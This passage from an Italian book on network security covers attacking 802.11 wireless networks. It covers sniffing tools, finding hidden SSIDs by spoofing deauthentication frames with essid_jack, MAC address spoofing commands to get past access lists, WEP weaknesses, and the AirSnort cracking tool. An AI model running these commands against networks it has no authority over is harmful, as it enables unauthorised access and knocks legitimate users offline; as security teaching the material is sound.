- [0:5:5d:a7:36:53 <- 0:30:65:1d:f1:0 <- 0:30:65:1d:f1:0]
- port: 7 ts: 151.143336 1:81 20:0
```

```
- sn: 3200 (d4:ec:cc:dc:8c:4c) len: 36
 - ** mgmt-proberesp ** ts: 17.605513 int: 100 capinfo: ess priv
   + ssid: [APPLE]
   + rates: 1.0 2.0 5.5 11.0
   + ds ch: 6
```

tcpdump

Diffusione:	7
Semplicità:	6
Impatto:	7
Fattore di rischio:	7

`tcpdump` (`http://www.tcpdump.org/`) è un tool standard di monitoraggio delle reti UNIX che nelle versioni recenti supporta la decodifica delle informazioni di frame 802.11. Poiché l'argomento dell'utilizzo elementare di `tcpdump` è già stato affrontato in altre parti del libro, in questo paragrafo non forniremo informazioni generiche ma parleremo unicamente degli aspetti che riguardano l'802.11. Per utilizzare `tcpdump` per la decodifica del traffico 802.11, occorre installare versioni di `libpcap` e `tcpdump` che lo supportano. Quando questo libro è stato scritto, la revisione "corrente" di ciascun pacchetto supportava la decodifica dei frame 802.11. L'utilizzo sulle reti wireless è sostanzialmente uguale a quello su altri tipi di reti; occorre però commutare la scheda nella modalità monitor prima di leggere i frame di gestione. A parte i vari comandi per ciascuna scheda e ciascun sistema operativo, il modo più semplice per commutare la scheda nella modalità monitor consiste nell'utilizzo dello script `kismet_monitor`, incluso in Kismet. Se si utilizza `tcpdump` su una rete wireless senza commutare la scheda nella modalità monitor, verranno mostrati i broadcast e il traffico destinato al localhost, come per una rete Ethernet commutata.
Occorre segnalare l'opzione `-e`, che provoca la stampa dei campi di controllo dei frame, della lunghezza dei pacchetti e di tutti gli indirizzi contenuti nell'header 802.11 che mostrano il BSSID e l'indirizzo MAC di destinazione. Sempre per finalità di parsing, è possibile utilizzare "wlan" in sostituzione di "ether" in comandi tipo `wlan protocol ip`. Nell'esempio seguente, abbiamo la modalità monitor già attivata sulla scheda wireless e stiamo eseguendo `tcpdump` specificando l'interfaccia wireless (`-i eth1`), acquisendo le informazioni 802.11 extra (`-e`) e stampando dati hex e ASCII estratti dai pacchetti (`-X`):

```
[root@localhost root]# tcpdump -i eth1 -e -X
```

Nel pacchetto seguente, potete vedere che il BSSID è `00:60:b3:67:6c:40`, la DA (ovvero la destinazione) è l'indirizzo di broadcast (`FF:FF:FF:FF:FF:FF`) e l'indirizzo della fonte coincide con il BSSID, l'indirizzo MAC del punto di accesso. Il tipo di frame è un Beacon; esso sta utilizzando un SSID proxim. Il punto di accesso è in grado di stabilire un link 802.11 con velocità pari a 1, 2, 5,5 e 11 Mbps sul canale 6:

```
16:13:52.974207 BSSID:00:60:b3:67:6c:40 DA:Broadcast SA:00:60:b3:67:
6c:40 Beacon (proxim) [1.0 2.0 5.5 11.0 Mbit] ESS CH: 6
0x0000   18e2 3540 1300 0000 6400 0100 0006 7072        ..5@....d.....pr
0x0010   6f78 696d 0104 0284 0b16 0301 0605 0400        oxim............
0x0020   0300 00                                        ...
```

Ethereal

Diffusione:	*9*
Semplicità:	*6*
Impatto:	*7*
Fattore di rischio:	*8*

Ethereal (`http://www.ethereal.com`) è un tool per il monitoraggio delle reti basato su UNIX e Windows. Sebbene non sia stato progettato appositamente per l'analisi delle reti 802.11, esso supporta la cattura e la decodifica dei pacchetti 802.11 con libpcap sui sistemi UNIX. Nel caso dei sistemi Windows, esso non è in grado di acquisire direttamente pacchetti 802.11, ma può leggere lo stesso formato dei file di cattura generato dalle versioni UNIX di `tcpdump` o di Ethereal. Per questo motivo è possibile raccogliere i dati su un sistema UNIX e analizzarli in un secondo tempo su una macchina Windows. Utilizzeremo Ethereal per la maggior parte delle attività di enumerazione, poiché è dotato di valide funzionalità di filtraggio ed è sufficientemente compatibile con piattaforme diverse da consentirci di visualizzare i dati dei pacchetti nello stesso modo su sistemi UNIX e Windows.

Ethereal richiede la presenza di driver in grado di funzionare in modalità monitor. È necessario che la scheda sia commutata nella modalità monitor prima di iniziare a catturare i pacchetti.

Per utilizzare Ethereal per catturare pacchetti 802.11, commutate la scheda nella modalità monitor con `kismet_monitor` o con il comando specifico della scheda, quindi avviate Ethereal. Premete Ctrl+K o selezionate la voce di menu *Capture/Start* per portare in primo piano la finestra *Capture Options* (mostrata di seguito). Consultate il menu a discesa degli adattatori per selezionare la vostra interfaccia wireless (se non è presente, digitatene il nome). Potete configurare le opzioni rimanenti in base alle vostre esigenze. Non dovete invece occuparvi della casella di selezione *Capture Packets In Promiscuous Mode*. Poiché la scheda viene impostata nella modalità monitor prima di eseguire Ethereal, questo switch non ha alcun effetto sui risultati acquisiti.

L'interfaccia di Ethereal è suddivisa in tre riquadri, come mostrato nella Figura 10.6. Il riquadro superiore contiene la lista dei pacchetti; essa fornisce un elenco riassuntivo dei pacchetti catturati. Il riquadro intermedio fornisce indicazioni dettagliate sul pacchetto selezionato nella lista, mentre quello inferiore è un dump dei dati raw hex e ASCII, chiamato data view.

Figura 10.6
I tre riquadri dell'interfaccia di Ethereal.

Probabilmente avrete già utilizzato Ethereal per visualizzare pacchetti su reti Ethernet. Il suo utilizzo sulle reti 802.11 è simile, ma sono state aggiunte alcune nuove opzioni riguardanti le regole di filtrazione Ethereal esistenti, quando si utilizza la categoria wlan.
Per un elenco completo delle sottocategorie di filtrazione wlan, consultate la documentazione di Ethereal.

AiroPeek NX

Diffusione:	*4*
Semplicità:	*8*
Impatto:	*7*
Fattore di rischio:	*6*

AiroPeek NX (`http://www.wildpackets.com`) è un tool di monitoraggio e analisi 802.11 a pagamento, disponibile per Windows 2000 e Windows XP. Per Windows sono disponibili anche altre soluzioni commerciali per la cattura dei pacchetti

802.11; tuttavia, AiroPeek NX è il tool più utile e quello che ha il prezzo maggiormente contenuto. Purtroppo, non esistono tool gratuiti per effettuare la cattura di pacchetti su sistemi operativi Windows, per cui, se proprio dovete operare in questo ambiente, l'unica possibilità è quella di utilizzare AiroPeek NX o un altro prodotto commerciale. AiroPeek supporta le schede Lucent e Cisco 802.11b e alcune delle più recenti schede 802.11a. AiroPeek NX è stato progettato soprattutto per la diagnostica e l'analisi delle reti wireless, ma dispone anche di alcune opzioni per renderle maggiormente sicure (Figura 10.7).

Figura 10.7
La scheda NX Packets di AiroPeek.

AiroPeek NX consente di effettuare la scansione dei canali con una frequenza definita dall'utente, nonché di decriptare il traffico "al volo", grazie a una chiave WEP in dotazione. Inoltre è molto facile configurare la filtrazione con AiroPeek NX ed è possibile salvare diverse combinazioni di filtri su altrettanti file modello. Questo consente di navigare rapidamente da un gruppo di siti all'altro durante l'esplorazione iniziale della rete e di passare ad altri gruppi per un'analisi più approfondita. AiroPeek NX fornisce inoltre un'utile vista Nodes, in cui le stazioni rilevate sono raggruppate in base al loro indirizzo MAC; in questa vista sono inoltre visualizzati gli

indirizzi IP e i protocolli osservati per ciascuna di esse. La vista Peer Map presenta una matrice di tutti gli host rilevati sulla rete mediante le loro connessioni reciproche. Questo può facilitare notevolmente il compito di visualizzare le relazioni tra punti di accesso e client.

Identificazione delle difese per reti wireless e relative contromisure

Questo non è un paragrafo dedicato all'hardening della rete o che spiega come bloccare i vostri punti di accesso; è dedicato semplicemente all'identificazione delle contromisure WLAN implementate e ai metodi per eluderle. Così come per qualsiasi altra rete o sistema bersaglio, è fondamentale stabilire quali sono i tipi di sistemi, dove sono ubicati e le loro configurazioni. Le WLAN, gli AP e i client wireless non differiscono tra loro.
Le informazioni seguenti vi consentiranno di identificare i sistemi e stabilire quali tipi di misure di sicurezza sono stati implementati. Per esempio, potrete stabilire rapidamente se un sistema è privo di misure di sicurezza e può essere considerato un sistema di tipo "Open System Authentication". Inoltre imparerete a distinguere la differenza tra un sistema con il WEP implementato e la bit-length implementata per la chiave segreta condivisa tramite l'analisi dell'intestazione 802.11 e del vettore di inizializzazione. Oltre ai controlli basati sull'infrastruttura, imparerete a stabilire se alcune funzionalità di sicurezza comuni implementate dal fornitore, quali le liste di controllo degli accessi (ACL) basate su MAC, sono state definite sui punti di accesso, e se sono stati effettuati aggiornamenti di protocollo o firmware sull'algoritmo WEP o sulla 802.11b. Infine, esporremo alcuni metodi per decriptare diversi livelli di crittografia, quali gli schemi PKI embedded, gli IPSec basati su gateway e le VPN application-layer, inclusi gli SSL tunnel.
Per trarre il massimo beneficio dalla lettura di questo capitolo, occorrono alcune nozioni di base. Oltre all'analisi dei pacchetti (illustrata nel paragrafo precedente), dovete essere in grado di comprendere i concetti elementari delle tecnologie di crittografia e della gestione delle chiavi crittografiche.
Di seguito sono elencate le risorse basilari per le tecnologie di crittografia.

- **http://www.crypto.com:** la pagina di Matt Blaze di risorse sulla crittografia. Un'eccellente fonte di informazioni scientifiche sull'analisi degli algoritmi crittografici e a carattere generale;
- **http://developer.netscape.com/docs/manuals/security/pkin/contents.htm:** una valida risorsa, messa a disposizione da Sun, utilizzabile come introduzione alla crittografia con chiavi pubbliche.
- **http://www-cs.engr.ccny.cuny.edu/~csmma/:** un eccellente sito universitario, curato dal professor Michael Anshel, contenente link a siti su quasi ogni tipo di tecnologia crittografica.

SSID

Il SSID è la prima informazione necessaria per connettersi a una rete wireless. Le reti 802.11 utilizzano il SSID per distinguere le BSS le une dalle altre. Il SSID non è destinato a essere utilizzato come password o come misura di controllo degli accessi; tuttavia spesso i fornitori inducono gli utenti a crederlo. L'acquisizione del SSID è semplice; tutto il software per wardriving illustrato in precedenza in questo capitolo è in grado di rilevare il SSID di una rete o il "nome della rete". Se il punto di accesso

sotto tiro risponde a una Broadcast SSID Probe, la maggior parte dei driver delle schede wireless configurate con un SSID uguale a ANY sarà in grado di stabilire un'associazione con la rete wireless. Quando il SSID è impostato a ANY, generalmente il driver invia una probe request all'indirizzo di broadcast con un SSID di lunghezza 0. In questo modo qualsiasi punto di accesso risponde a queste richieste (la maggior parte di essi risponde di default) ed emette una risposta contenente il rispettivo SSID e altre informazioni. Questo semplifica la vita all'utente, poiché in tal modo non è necessario ricordare a memoria il SSID per connettersi alla LAN wireless; ovviamente però ciò aiuta anche l'aggressore ad acquisire queste informazioni. I SSID possono essere rilevati su diversi tipi di traffico 802.11.

- **Beacon:** sono inviati continuamente dal punto di accesso e possono essere osservati con uno sniffer wireless. La stringa del filtro Ethereal che consente di vedere unicamente i beacon è la seguente:

  ```
  wlan.fc.type==0 and wlan.fc.subtype==8
  ```

  Se desiderate escludere i frame dei beacon (essi sono trasmessi costantemente e sono d'intralcio), è sufficiente inserire l'istruzione precedente tra parentesi, premettendovi un `!`, nel modo seguente:

  ```
  !(wlan.fc.type==0 and wlan.fc.subtype==8)
  ```

- **Probe request:** sono inviate dai sistemi client per connettersi alla rete wireless. Se il client è configurato con un SSID, questo verrà mostrato nella richiesta. Una probe request avente come SSID il valore `null` indica probabilmente un nome di rete "ANY" configurato per la scheda.
- **Probe response:** sono inviate in risposta a una probe request. La probe request può avere un SSID vuoto, oppure il SSID della rete a cui il client vuole connettersi.
- **Richieste di associazione e di riassociazione:** sono effettuate dal client quando si connette o si riconnette alla rete. Le richieste di riassociazione hanno lo scopo di supportare il roaming wireless dei client da un punto di accesso all'altro all'interno dello stesso ESS, ma possono anche essere emesse quando il client esce dal raggio di copertura di un determinato AP e successivamente vi rientra.

Se sulla rete che state esplorando le broadcast probe response sono state bloccate o l'SSID è stato eliminato dai beacon frame, dovete probabilmente attendere che un client cerchi di riassociarsi per acquisire il SSID. In questo potrà esservi di aiuto il tool `essid_jack`, incluso nel toolkit Air-Jack (`http://802.11ninja.net/`). `essid_jack` invierà un frame per l'annullamento dell'autenticazione all'indirizzo di broadcast, contraffatto affinché sembri provenire dal punto di accesso. In questo modo tutti i client attivi per il canale in questione sono espulsi e forzati a riconnettersi alla WLAN. Le probe request del client e le risposte dell'AP conterranno il SSID "nascosto".
Per utilizzare `essid_jack`, specificate l'indirizzo BSSID e il canale della rete wireless che state cercando di enumerare. Di default, esso invierà il pacchetto all'indirizzo di broadcast che interessa tutti i client attivi; tuttavia potete anche specificare un singolo client MAC al target mediante lo switch `-d`, come mostrato di seguito:

```
[root@localhost tools]# ./essid_jack -b
00:40:96:54:1c:0b -d 00:02:2D:07:E2:E1 -c 11 -i aj0
Got it, the essid is (escape characters are c style):
"tsunami"
```

Controllo degli accessi MAC

Sebbene il controllo degli accessi a livello MAC non sia stato previsto nella specifica dell'802.11, la maggior parte dei fornitori ha implementato questa funzionalità per contribuire a rafforzare le difese dell'802.11, intrinsecamente vulnerabile. Quando si utilizza il controllo degli accessi a livello MAC, l'amministratore definisce una lista di indirizzi MAC di client "approvati", cui è consentito connettersi al punto di accesso. Anche se questa procedura è probabilmente realizzabile su reti di piccole dimensioni, essa può risultare particolarmente onerosa nelle reti più grandi, poiché presuppone che l'amministratore abbia a disposizione gli indirizzi MAC di tutti i client wireless. A parte il carico di lavoro per l'amministratore, l'indirizzo MAC non costituisce un valido meccanismo di sicurezza, poiché è facilmente osservabile e riproducibile. Uno sniffer wireless consente di osservare qualsiasi MAC della stazione e in genere l'aggressore può modificare agevolmente l'indirizzo MAC. È infatti sufficiente che l'aggressore effettui il monitoraggio della rete, prenda nota dei client che riescono a collegarsi al punto di accesso e infine modifichi l'indirizzo MAC affinché corrisponda a quello di uno degli client attivi.

Poiché, come si è detto, l'utilizzo del controllo degli accessi a livello MAC non è stato definito nella specifica dell'802.11, non c'è un flag di pacchetto che lo indichi, ma generalmente potete dedurlo. Se avete un SSID e una chiave WEP corrette ma essi non consentono ancora di associarsi, è possibile che venga utilizzata la filtrazione MAC (o un altro schema, per esempio l'802.1x). Con AiroPeek NX c'è un modo semplice per osservare le relazioni dei sistemi sulla rete wireless; nella scheda *Peer Map*, mostrata nella Figura 10.8, sono visualizzati i vari sistemi e le altre stazioni con cui ciascun sistema è in comunicazione. Come si può vedere, tutti i nodi stanno comunicando con la stazione 00:07:0E:B9:94:32, per cui essa è con ogni probabilità il punto di accesso.

Figura 10.8

La scheda Peer Map.

Il WEP

La maggior parte dei tool per wardriving è in grado di indicare se una rete utilizza o meno la crittografia WEP. NetStumbler mostrerà un piccolo lucchetto nell'icona delle reti e indicherà "WEP" nella colonna Encryption quando viene rilevata la crittografia WEP. Kismet inserirà una "Y" nella colonna sotto la W (W sta per WEP) quando identifica reti criptate.
Gli sniffer wireless mostreranno anche lo stato del WEP. `tcpdump` utilizzerà il flag "PRIVACY" quando viene rilevato il WEP e mostrerà l'IV per ciascun pacchetto, quando esso viene acquisito, come mostrato di seguito:

```
00:30:36.943042 Beacon (Aironet_350) [1.0 2.0 5.5 11.0 Mbit] ESS CH: 6 ,
PRIVACY
00:30:36.948759 Data IV:1aa7f6 Pad 0 KeyID 0
00:30:36.949722 Data IV:1ba7f6 Pad 0 KeyID 0
00:30:36.958387 Data IV:1ba7f6 Pad 0 KeyID 0
00:30:36.959349 Data IV:1ca7f6 Pad 0 KeyID 0
00:30:36.968942 Data IV:1ca7f6 Pad 0 KeyID 0
00:30:36.970242 Data IV:1da7f6 Pad 0 KeyID 0
00:30:36.978462 Data IV:1da7f6 Pad 0 KeyID 0
00:30:36.979718 Data IV:1ea7f6 Pad 0 KeyID 0
00:30:36.988863 Data IV:1ea7f6 Pad 0 KeyID 0
00:30:36.990004 Data IV:1fa7f6 Pad 0 KeyID 0
00:30:36.998934 Data IV:1fa7f6 Pad 0 KeyID 0
00:30:37.000148 Data IV:20a7f6 Pad 0 KeyID 0
00:30:37.008549 Data IV:20a7f6 Pad 0 KeyID 0
00:30:37.009741 Data IV:21a7f6 Pad 0 KeyID 0
```

Modalità di accesso (hacking delle 802.11)

In base alla collaudata metodologia di attacco illustrata in questo libro, l'accesso alla rete è la fase della valutazione in cui l'aggressore o il collaudatore, a seconda dei casi, sfrutta le informazioni raccolte durante le fasi iniziali della valutazione stessa. L'obiettivo di ogni valutazione o tentativo di penetrazione in un sistema è quello di ottenere l'accesso come amministratore o a livello di root. Affinché questo sia possibile, l'aggressore deve tuttavia conoscere alcune informazioni dettagliate sul sistema, sull'applicazione e sulla configurazione.
Nel campo delle reti wireless e 802.11, le modalità di accesso ai sistemi sono significativamente diverse da quelle per i sistemi "cablati". Molto spesso, questo è dovuto all'assenza di una robusta crittografia implementata con il WEP, che consente all'aggressore di carpire chiavi deboli e dati trasmessi pertinenti. Anche se l'aggressore è riuscito ad accedere alla chiave WEP dell'AP, questo non è sufficiente per penetrare nella WLAN; tuttavia le difficoltà da affrontare per acquisire le poche informazioni mancanti per ottenere l'accesso sono risibili al confronto delle conoscenze e abilità necessarie per configurare e utilizzare un sistema in grado di effettuare il cracking in ambiente wireless. Come noterete, sono disponibili svariati metodi per accedere ai sistemi, corrispondenti a diversi gradi di difficoltà.

SSID

Dopo aver individuato il SSID, per utilizzarlo dovete riconfigurare la vostra interfaccia wireless. Sui sistemi operativi Windows, di solito il fornitore della scheda fornisce un'utility per la riconfigurazione delle impostazioni della scheda, o un'interfaccia contenuta nel driver stesso per la riconfigurazione del SSID. Di seguito è mostrata la schermata di configurazione per una scheda wireless SMC e le impostazioni dei suoi driver. Il nome della rete è stato cambiato in "Linksys", il SSID della rete a cui desideriamo connetterci.

Per quanto riguarda Linux, la maggior parte dei driver supporta l'interfaccia `iwconfig`, una versione wireless del comando `ifconfig` utilizzata per configurare parametri di base di una rete 802.11 quali il SSID. Per modificare il SSID con `iwconfig`, utilizzate il comando seguente, in cui `tsunami` è il nome della rete ed `eth1` è l'interfaccia wireless:

```
[root@localhost root]# iwconfig eth1 essid tsunami
```

Nei sistemi BSD quali OpenBSD e FreeBSD si utilizza il comando `wicontrol`, che consente di modificare parametri delle schede che si servono del driver wi (Wavelan) e di gestire i parametri di configurazione specifici di una rete 802.11. Per cambiare il SSID mediante `wicontrol`, fate riferimento al seguente esempio, in cui l'interfaccia che desideriamo modificare è `wi0` e il nome della rete sotto tiro è `Lucent`:

```
# wicontrol -I wi0 -n Lucent
```

Controllo degli accessi MAC

Dopo aver acquisito una lista di indirizzi MAC utilizzabili, dovete riconfigurare il nostro sistema per utilizzare un nuovo MAC. Nel caso dei sistemi Windows, la procedura varia a seconda del driver. Alcuni driver meno recenti consentono di riconfigurare l'indirizzo MAC nelle proprietà dell'interfaccia; tuttavia molti fornitori hanno in seguito disattivato questa funzionalità. Alcune utility facilitano la risoluzione di questo problema; una di esse è Bwmachak, creata da BlackWave. Bwmachak consente di modificare l'indirizzo MAC di una scheda wireless Orinoco sostituendolo con un indirizzo da voi specificato. Per utilizzare Bwmachak, rimuovete prima la scheda, quindi eseguitelo nel modo seguente (`00:09:E8:B4CB:E8` è il MAC che intendiamo utilizzare):

```
E:\>BWMACHAK.exe 0009E8B4CBE8
```

Dopo aver eseguito il comando, reinstallate la scheda ed eseguite `ipconfig /all` per verificare che l'indirizzo MAC sia stato effettivamente modificato.
Nei sistemi Linux è possibile utilizzare il comando `ifconfig` per modificare il MAC. Dovrete visualizzare l'interfaccia, quindi specificare il nuovo indirizzo hardware Ethernet e, infine, chiudere l'interfaccia e verificare i risultati. Ecco un esempio di sequenza dei comandi da utilizzare. Come potete vedere, l'interfaccia wireless è `eth1` e il MAC che desideriamo utilizzare è `00:02:2D:07:E1:FF`:

```
[root@localhost root]# ifconfig eth1 down
[root@localhost root]# ifconfig eth1 hw ether 00:02:2D:07:E1:FF
[root@localhost root]# ifconfig eth1 up
[root@localhost root]# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:02:2D:07:E1:FF
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:15 errors:2388 dropped:0 overruns:0 frame:2388
          TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:720 (720.0 b)  TX bytes:3300 (3.2 Kb)
          Interrupt:3 Base address:0x100
```

Anche nei sistemi FreeBSD si utilizza il comando `ifconfig`, ma con qualche lieve differenza. Dovete chiudere l'interfaccia prima di applicare le modifiche, così come in Linux, ma in questo caso è necessario omettere `hw` e i due punti nell'indirizzo stesso:

```
# ifconfig fxp0 ether 00022d07e1ff
```

A questo punto, visualizzate l'interfaccia e verificate che le modifiche abbiano prodotto i risultati desiderati.
Gli utenti di OpenBSD possono servirsi dell'utility `sea` per modificare l'indirizzo MAC, perché la versione fornita di `ifconfig` non supporta tale funzionalità. Poiché non esiste un sito ufficiale da cui scaricare `sea`, il modo più semplice per trovarlo è una ricerca su Google dei termini "openbsd" e "sea.c". Il funzionamento di `sea` è molto semplice, come mostrato dall'esempio seguente. In questo codice, `wi0` è l'interfaccia wireless e `00:02:2D:07:E1:FF` è l'indirizzo MAC che intendiamo utilizzare:

```
# sea -v wi0 00:02:2D:07:E1:FF
```

WEP

Il WEP (*Wired Equivalent Privacy*) è uno standard definito dall'IEEE per assicurare uno schema di protezione OSI Layer 2 alle reti wireless 802.11. L'obiettivo del WEP non è quello di assicurare una protezione completa alla rete ma, piuttosto, quello di proteggere i dati da coloro che, in modo passivo e inconsapevole, rimangono in ascolto sulla WLAN. Molti credono erroneamente che l'algoritmo WEP sia un prodotto per la sicurezza con funzionalità di autenticazione garantita e crittografia; ma tali finalità non sono state previste dallo standard 802.11.
L'algoritmo WEP si basa su una chiave segreta messa in comune tra l'AP e il nodo del client, che in genere è costituito da una scheda wireless su un laptop. Il WEP utilizza poi questo segreto condiviso per criptare tutti i dati che vengono scambiati tra due nodi. C'è un equivoco abbastanza diffuso, in base al quale il WEP assicurerebbe l'autenticazione sulla rete tramite un segreto condiviso. Se su una WLAN viene implementato il WEP, chiunque non sia messo al corrente di tale segreto non sarà in grado di connettersi alla rete in questione. Pertanto la rete viene ritenuta sicura. L'algoritmo WEP non cripta l'header 802.11 e nemmeno l'IV (*Initialization Vector*) o le parti ID del pacchetto (Figura 10.9).

Header 802.11			
IV(0)	IV(1)	IV(2)	ID
SNAP(0)		SNAP(1)	
SNAP(2)		Protocollo ID	
Dati			
Checksum			

XXXXXX
Dati cifrati = XXXXXX
XXXXXX

Figura 10.9
Struttura dei pacchetti IEEE 802.11.

RC4, un algoritmo crittografico per la cifratura a stream creato da RSA, cripta costantemente i dati scambiati tra i due nodi, creando in tal modo un tunnel virtuale completamente criptato. In ambito wireless generalmente l'RC4 può servirsi di una chiave segreta condivisa a 64 oppure a 128 bit come "seme" per gli stream RC4. Uno dei problemi che si verificano con la chiave segreta condivisa risiede nel fatto che 24 dei bit sono derivati direttamente dall'IV, che è in chiaro. Come diremo in seguito, molti attacchi sfruttano il campo IV non criptato. I dati del pacchetto vengono poi criptati con la chiave segreta e alla loro fine viene accodato il checksum del pacchetto stesso.

Attacchi all'algoritmo WEP

L'algoritmo WEP, poco dopo il lancio commerciale e la sua implementazione negli AP wireless e nelle schede dei client, fu oggetto di numerosi attacchi di vario tipo: attacchi passivi, attivi, di tipo dizionario, basati sulla lunghezza della chiave e One-To-One o Man-In-The-Middle. Tuttavia, in genere, la maggior parte degli attacchi si basava su tecniche di forza bruta. Tali tecniche consentono all'aggressore di provare intere serie di chiavi, esplorando tutte le possibilità, alla ricerca dell'unica chiave corretta. Un'altra categoria di attacchi al WEP si basava sull'analisi degli IV in correlazione con il primo byte di output RC4.

Come si è già detto, gli attacchi a forza bruta sono comunemente utilizzati per sfruttare alcuni dei principali punti deboli contenuti nell'algoritmo WEP, in particolare nella determinazione della chiave segreta condivisa. Gli attacchi passivi (cioè attacchi che non richiedono l'invio di pacchetti) vi consentono di carpire pacchetti 802.11 ed effettuare calcoli su tali pacchetti sul vostro computer. Questo tipo di attacco non si propone di compromettere altri sistemi rimuovendoli dalla rete, o di contraffare pacchetti diretti ai sistemi, quanto piuttosto di raccogliere informazioni sui client della rete, sulle funzionalità di sicurezza implementate e sulla configurazione degli AP, oltre eventualmente a eseguire il crack della chiave WEP. Tramite l'analisi del traffico, potete in teoria stabilire quali servizi vengono eseguiti, quali sono i metodi di crittografia e autenticazione, se è implementato uno schema di autenticazione basato su MAC e qual è la dimensione della chiave (espressa in bit).

Gli unici attacchi passivi diretti all'algoritmo WEP sono il cracking delle chiavi e quello dei pacchetti. L'attacco inizia con l'acquisizione di un numero notevole di pacchetti provenienti da un numero potenzialmente elevato di client (la probabilità di successo dell'attacco aumenta all'aumentare del numero dei pacchetti). Poiché l'IV viene trasmesso come testo in chiaro, potete effettuare l'analisi dei pacchetti sulla base del client e dell'IV corrispondenti. Quando disponete di due pacchetti che utilizzano il medesimo IV, potete effettuare su di essi lo XOR e ottenere un unico XOR dei pacchetti. In tal modo potete dedurre informazioni sui pacchetti e scartare ulteriori possibilità nello spazio delle chiavi per gli attacchi a forza bruta sul messaggio. Una volta che lo XOR, il testo criptato e il testo in chiaro di un pacchetto sono stati determinati, risulta estremamente semplice individuare il segreto condiviso, poiché esso è stato utilizzato per creare lo XOR.

L'altro tipo di attacco consiste nella semplice determinazione mediante metodo a forza bruta della chiave segreta condivisa. Potete tentare di decriptare il messaggio esattamente come lo decifrerebbe un AP, verificando il successo tramite il checksum. Sfruttando i punti deboli degli IV, potete effettuare attacchi di tipo dizionario su checksum WEP in qualche minuto o addirittura qualche secondo, a seconda della lunghezza della lista delle parole e delle prestazioni della CPU. Un attacco a forza bruta completo su uno spazio delle chiavi a 40 bit richiede solo qualche settimana quando viene eseguito su un sistema singolo.

Quasi tutti gli attacchi attivi contro l'algoritmo WEP non puntano a individuare la chiave segreta condivisa, ma a iniettare pacchetti negli stream 802.11 correnti. Tuttavia, in ogni caso, occorre prima sapere qual è il MAC dell'AP e se viene applicato il WEP, nonché conoscere la lunghezza in bit e la chiave (se implementata). Ora che sapete cosa vi occorre, se il WEP è disattivato, le difficoltà connesse all'utilizzo di una tecnica di iniezione di pacchetti sono risibili. In entrambi i casi, potrete contraffare i pacchetti che desiderate iniettare e inviarli. Tra i tool che utilizzano alcune di queste tecniche occorre segnalare Air-Jack e Libradiate (di essi discuteremo in seguito).

Protezione del WEP

Diversi fornitori, tra cui Cisco, Orinoco e Intel, hanno sviluppato implementazioni maggiormente sicure dell'algoritmo WEP, della schedulazione delle chiavi, o del firmware dei loro prodotti. WEP-Plus è stato sviluppato come aggiornamento del firmware per gli AP e le schede wireless; esso prevede la modifica dell'attuale algoritmo di creazione degli IV incorporato nel WEP. WEP-Plus utilizza un algoritmo più sicuro per determinare e mascherare il campo IV. Alcuni fornitori di prodotti PKI, tra cui Baltimore Technologies e Entrust, hanno sviluppato le rispettive tecnologie PKI e VPN in modo da renderle compatibili in ambiente wireless. In questo caso, i client wireless devono autenticarsi sulla rete tramite un server dei certificati. Se l'autenticazione ha successo, all'utente viene consentito di connettersi alla rete tramite un tunnel VPN criptato. Questo tipo di protezione è simile alle soluzioni proposte da alcuni fornitori di minore importanza, i quali irrobustiscono le loro soluzioni VPN wireless utilizzando un tunnel SSL o IPSec sovrapposto al WEP. È scontato che i dati possono essere protetti grazie all'ulteriore crittografia a livello di applicazione e di trasporto; tuttavia le effettive sessioni wireless non sono tuttora sicure. Con questa soluzione, gli IV sono ancora in chiaro e non opportunamente randomizzati.

Il WEP presenta alcuni problemi di sicurezza insiti nel protocollo, nell'implementazione e nelle modalità di applicazione da parte di fornitori e utenti. Purtroppo, l'802.11 è molto allettante poiché consente all'utente di comunicare senza cavi; pertanto la tecnologia wireless è destinata a sopravvivere. La strategia di difesa consiste nella realizzazione di un sistema di sicurezza a più livelli, con diversi schemi di crittografia e autenticazione, e nel rivolgersi unicamente a fornitori che si sono fatti carico dei problemi di sicurezza degli IV e del vulnerabile KSA WEP.

Tool che sfruttano i punti deboli del WEP

Esistono tool che consentono o semplificano l'automatizzazione dell'attacco dei punti deboli del WEP. Nella maggior parte dei casi, i tool utilizzano una combinazione di tecniche di cattura di pacchetti e crack di pacchetti per sfruttare questi punti deboli.

AirSnort

Diffusione:	*8*
Semplicità:	*7*
Impatto:	*9*
Fattore di rischio:	*8*

Il tool AirSnort (`http://airsnort.shmoo.com/`) è un insieme di script e programmi frutto delle ricerche effettuate da Tim Newsham, dall'University of Maryland e dall'University of California di Berkeley. Esso è di gran lunga il tool per Linux più popolare e noto tra gli addetti ai lavori ed è utilizzato specificamente per eseguire il crack di pacchetti wireless. In origine, si trattava di un tool a riga di comando per Linux che consentiva unicamente di catturare pacchetti wireless 802.11b e di tentare il crack di pacchetti sfruttando la vulnerabilità degli IV. In seguito esso si è evoluto: è stato dotato di una GUI, consente la rapida configurazione del canale da esplorare e di specificare la lunghezza in bit della chiave WEP.

Per utilizzare AirSnort, dovete per prima cosa compilare e installare il codice sorgente. Al momento in cui scriviamo, si può utilizzare il comune comando `./configure`, `make`, `make install` per l'installazione di AirSnort. A questo punto, eseguirete Air-Snort da una riga di comando, e, purché siate in una sessione X-Windows, potrete utilizzare la GUI. In questo caso, eseguirete AirSnort in una modalità di scansione per stabilire quali AP sono presenti nel raggio di copertura e se è in atto una trasmissione. Come potete vedere nella figura seguente, AirSnort ha identificato sei AP; su due di essi sono state implementate funzionalità WEP. Occorre catturare diversi numeri di pacchetti affinché i vari tipi di attacchi possano funzionare; tuttavia, la GUI di AirSnort GUI semplifica tale procedura aggiungendo gli utili e pratici pulsanti *Start* e *Stop*.

AirSnort
File Edit Settings Help
scan — channel 3 — Network device wlan0 — Card type Prism2 (wlan-ng) — 40 bit crack breadth: 3 — 128 bit crack breadth: 2

C	BSSID	Name	WEP	Last Seen	Last IV	Chan	Packets	Encrypted
	00:40:96:40:E3:43		Y		F7:02:B5	3	3008	481
	00:40:05:DF:09:4F	default	Y		AA:AA:03	6	2521	120
	00:60:B3:67:6C:40	proxim			00:00:00	6	1344	0
	00:40:96:54:1C:0B	Aironet_350			00:00:00	6	1858	0
	00:04:75:62:27:CE	INSIDIAE			00:00:00	1	696	0
	FF:FF:FF:FF:FF:FF				00:00:00	1	774	0

Start Stop Clear

Contromisure ad AirSnort

